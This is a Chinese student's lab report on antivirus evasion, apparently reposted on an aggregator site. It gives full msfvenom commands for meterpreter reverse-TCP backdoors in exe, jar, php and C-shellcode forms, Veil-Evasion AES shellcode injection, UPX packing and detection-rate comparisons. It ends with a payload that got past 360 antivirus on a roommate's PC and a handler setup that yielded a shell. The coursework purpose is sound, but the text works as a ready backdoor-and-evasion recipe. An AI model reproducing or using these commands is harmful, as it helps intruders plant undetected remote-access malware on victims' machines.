20191223-Exp3-免杀原理

Exp3-免杀原理

姓名:张俊怡 学号:20191223 课程:网络对抗技术

一、实践内容

  1. 方法
  2. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  3. veil,加壳工具
  4. 使用C + shellcode编程

2.通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  1. 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实践过程记录

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
让我们看看它有哪些功能:

20191223-Exp3-免杀原理

翻译一下:

* -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length> 为payload预先指定一个NOP滑动长度
-f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture> 指定payload的目标架构
--platform platform> 指定payload的目标平台
-s, --space length> 设定有效攻击荷载的最大长度
-b, --bad-chars list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations count> 指定payload的编码次数
-c, --add-code path> 指定一个附加的win32 shellcode文件
-x, --template path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path> 保存payload
-v, --var-name name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

1.1 正确使用msf编码器,生成exe文件

在第二次实验中使用msf生成了一个后门程序,我们使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

20191223-Exp3-免杀原理

用VirusTotal扫描后结果如下图所示:

20191223-Exp3-免杀原理

检出率为(54/69)
由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。

一次编码
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’\x00’为结束符

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(51/70),减少了一丢丢。。

十次编码
使用命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-i设置迭代次数

(理论上增加编码次数会降低检出率)

20191223-Exp3-免杀原理

检测结果见下图:

20191223-Exp3-免杀原理

检出率为(54/70),并没有下降,反而上升了。

可见多次编码对免杀没有太大的效果,原因有两点:

  • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差。
    msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe。

1.2 msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor_java.jar

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(31/60),已经接近百分之50了。迈克菲依旧坚挺。。

1.3 msfvenom生成php文件

指令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor.php

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
检出率为(21/57),已经低于百分之50。

2.使用veil-evasion生成后门程序及检测

2.1安装veil

Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;
sudo apt-get install veil-evasion命令安装Veil

设置

cd /usr/share/veil/config
vim setup.sh

此时需要进入root模式。
按ESC键退出编辑内容模式,输入”:set number”后按回车键,就可以显示行号了。
找到第260行的github仓库地址,并改为码云的地址 https://gitee.com/spears/VeilDependencies.git

20191223-Exp3-免杀原理
修改成功后,等待veil安装
20191223-Exp3-免杀原理
等了好一会儿,终于done!
不过还有一个小问题:
20191223-Exp3-免杀原理
根据错误提示,执行如下命令: /usr/share/veil/config/setup.sh --force --silent
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!

看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具。

20191223-Exp3-免杀原理

2.2使用veil-evasion生成后门程序及检测

  • use evasion命令进入Evil-Evasion
    输入命令·use c/meterpreter/rev_tcp.py·进入配置界面

20191223-Exp3-免杀原理
设置IP和端口 set LHOST 192.168.21.131 和 set LPORT 1223
20191223-Exp3-免杀原理

输入 generate生成文件,接着输入你想要playload的名字: veil-20191223
VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

2.3免杀加壳尝试

加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解,查壳就是为了找它),类似于动物界的龟壳。大多数病毒就是基于此原理。

指令upx 20191223veil.exe -o 20191223veil_upx.exe

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
20191223-Exp3-免杀原理

检出率为(47/70)反而上升了,能看出加壳反而没什么效果。。。

3.使用C + shellcode编程

首先使用msfvenom得到shellcode

指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f c

20191223-Exp3-免杀原理

创建一个文件20191223backdoor.c,然后将unsigned char buf[]赋值到其中,代码如图:

20191223-Exp3-免杀原理

使用命令: i686-w64-mingw32-g++ 20191223backdoor.c -o 20191223backdoor.exe编译为可执行文件;

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(34/70),低于百分之50.

4.通过组合应用各种技术实现恶意代码免杀

启动veil,进入evasion,输入list查看可用的有效荷载,如下:

20191223-Exp3-免杀原理
我们选择第28行的payload
use python/shellcode_inject/aes_encrypt.py
generate
选第二个

20191223-Exp3-免杀原理

找到文件位置,用VirusTotal网站的扫描结果如下,实现免杀:

20191223-Exp3-免杀原理

20191223-Exp3-免杀原理

原理是在py环境下利用AES加密方式对后门程序进行传输加密。。(微信小程序与此方式有相似之处)

5.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

我使用的测试机是我的舍友张潇的电脑。
电脑版本:win10
杀软版本:360安全卫士
kali虚拟机ip地址:192.168.1.216

在虚拟机输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.216 lport=1223 -f raw -o 20191223.raw生成raw文件
(需要在root下执行)

20191223-Exp3-免杀原理

需要在对方计算机上下载 shellcode_launcher 参考博客
然后在对方的电脑上输入 shellcode_launcher.exe -i 20191223.raw 运行生成的文件

20191223-Exp3-免杀原理

然后打开杀软,进行检测:

20191223-Exp3-免杀原理
成功绕过杀软!!很激动!!
然后我们进入msf控制台,进行配置
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.216 //此处为kali端ip地址
set LPORT 1223
exploit

20191223-Exp3-免杀原理
成功获得shell!

6.基础问题回答

1.杀软是如何检测出恶意代码的?
答:
(1)基于特征码的检测. 恶意代码常常具有明显的 特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码;
(2)基于CFG和数据流分析的污点追踪引擎。这算是对程序分析技术的经典应用;
(3)加密文件分析。
(4)基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。
是指通用的、多特征的、非精确的扫描。

2.免杀是做什么?
答:就是通过修改PE文件的代码、软件加壳或改变文件的结构来达到躲避杀毒软件查杀的目的。

3.免杀的基本方法有哪些?
答:
(1)直接修改特征码的十六进制法.。修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制. 。适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能. 否正常使用.。
(2)修改字符串大小写法。修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。适用范围:特征码所对应的内容必需是字符串,否则不能成功.

(3)改变行为
通讯方式:
尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
使用隧道技术,这个一般没有现成的组件。
加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。

4.开启杀软能绝对防止电脑中恶意代码吗?
答:答案是否定的。。
我们不能保证杀软的病毒库记录了所有恶意代码的特征码片段,因为恶意代码是不断更新的。
根据网上的数据显示,目前最优秀的杀软也只能检测出98%的恶意软件。

7、实验体会

通过这次实验,我尝试了生成能实现免杀的后门程序(虽然仅针对360安全卫士和腾讯管家),我切实体会到杀毒软件并不是万能的,不能指望杀软能够解决掉所有的安全问题。我深入了解了杀软进行恶意代码查杀的机制之一(提取特征码),我们在实验中生成的程序如果进行联网查杀的话,第一次并不会查出来,但是一段时间后再进行杀毒,就会被发现,这是因为杀软把你刚生成的程序的特征码提取了出来,然后传到服务器(需要一定时间),杀软的特征库是一直再更新的。。作为信息安全专业的学生,我很高兴能够在本次实验中了解免杀流程以及杀软工作流程,明白了免杀程序的危害性以及杀软的缺点,我们日常工作中一定要留意电脑中的可疑程序,不要因为打开了杀软就觉得自己是安全的,要时刻警惕恶意软件的攻击。

Original: https://www.cnblogs.com/zzjjyy123/p/16098985.html
Author: 20191223张俊怡
Title: 20191223-Exp3-免杀原理

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585851/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • shell: 获取每行文本的最后几个字符

    tail方式 tail参数-c就可以获取最后的几个字节 -c, –bytes=[+]NUM output the last NUM bytes; or use -c +NUM t…

    Linux 2023年6月7日
    0114
  • Linux系统编程—信号捕捉

    前面我们学习了信号产生的几种方式,而对于信号的处理有如下几种方式: 默认处理方式; 忽略; 捕捉。 信号的捕捉,说白了就是抓到一个信号后,执行我们指定的函数,或者执行我们指定的动作…

    Linux 2023年6月14日
    0122
  • 单例模式也能玩出花

    一、单例模式 (1)单例模式 (2)单例模式实现要点 (3)使用场景当频繁创建、销毁某个对象时,可以考虑单例模式。当创建对象消耗资源过多时,但又经常使用时,可以考虑单例模式。 (1…

    Linux 2023年6月14日
    090
  • 2021年3月-第02阶段-前端基础-移动WEB开发-移动WEB开发_rem布局

    移动web开发之rem布局 rem基础 rem单位 rem (root em)是一个相对单位,类似于em,em是父元素字体大小。 不同的是rem的基准是相对于html元素的字体大小…

    Linux 2023年6月8日
    0103
  • Jenkins初始化界面一直显示Please wait while Jenkins is getting ready to work …

    第一次访问 jenkins时,会提示如下界面: 注:如果这个界面初始化的时间过长,则需要修改相关配置文件。 原因:因为访问官网太慢。我们只需要换一个源,不使用官网的源即可。 1、找…

    Linux 2023年6月13日
    095
  • redis持久化

    本次主要是对redis中著名的持久化策略进行代码层面描述,主要包括RDB持久化和AOF持久化 因为AOF文件的更新频率比RDB高,所以如果服务器开启AOF持久化,redis优先使用…

    Linux 2023年6月13日
    0118
  • jmeter beanshell 从文件中获取随机参数

    loadruner 参数化有个功能,可以设置在脚本每次出现参数时,自动更换参数值。在做jmeter自动化测试过程中,同一个请求中出现多个参数值,如一个接口可以添加n个信息的请求 […

    Linux 2023年5月28日
    0211
  • 操作系统实战45讲 -04 业界成熟的内核架构长什么样

    Linux 系统性能稳定且开源。在很多公司企业网络中被当作服务器来使用,这是 Linux 的一大亮点,也是它得以壮大的关键。 上图中大致分为五大重要组件,每个组件又分成许多模块从上…

    Linux 2023年6月7日
    0118
  • 一文搞懂 Netty 发送数据全流程 | 你想知道的细节全在这里

    欢迎关注公众号:bin的技术小屋,如果大家在看文章的时候发现图片加载不了,可以到公众号查看原文 本系列Netty源码解析文章基于 4.1.56.Final版本 在《Netty如何高…

    Linux 2023年6月6日
    088
  • OS模块中获取当前文件的绝对路径的相关方法

    os.path.realpath(file) 作用:获取当前执行py脚本的绝对路径(在当前工作目录下的绝对路径) file : 表示当前文件的本身,一般值是当前文件的相对路径 例如…

    Linux 2023年6月7日
    090
  • MIT6.828(Step0)——实验环境配置

    实验环境配置 VirtualBox虚拟机为载体,安装Ubuntu $ uname -a Linux eliot-VirtualBox 5.11.0-36-generic #40~2…

    Linux 2023年5月27日
    097
  • 解决USB在虚拟机不显示问题

    电脑重装了下系统,顺带重新装了vmware,发现虚拟机无法识别USB设备,居然连右下角图标和可识别设备都不显示了。 网上找了很多方法,大多是纷繁复杂,且行不行都无法保证。 我发现一…

    Linux 2023年5月27日
    0121
  • redis client-output-buffer-limit 设置

    Redis 缓存保护机制: 大小限制,当某一客户端缓冲区超过设定值后直接关闭连接 持续时间限制,某一客户端缓冲区持续一段时间占用过大空间时关闭连接 对于普通客户端来说,限制为0,也…

    Linux 2023年5月28日
    092
  • 九、磁盘管理

    (一)磁盘基础知识磁盘–硬盘(机械,固态) 磁盘结构https://www.jianshu.com/p/cf100e39ccdf 扇区、磁道、柱面 扇区默认大小是512…

    Linux 2023年6月7日
    0116
  • Linux ARMv7架构通用中断流程(1)【转】

    一、ARMv7 Cortex-A系列处理器寄存器组介绍及其功能介绍 1. ARMv7 Cortex-A处理器一般共有37寄存器,其中包括: (1) 31个通用寄存器,包括PC(程序…

    Linux 2023年6月8日
    076
  • 如何利用XShell隧道通过跳板机连接内网机器

    在服务器众多的企业里,通常运维会把某台机器开放外网访问权限,其他服务器通过该机器进行访问,该机器通常称之为跳板机。开发人员可以通过SSH工具访问服务器,进行日志查看、问题排查等等。…

    Linux 2023年5月28日
    0114
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球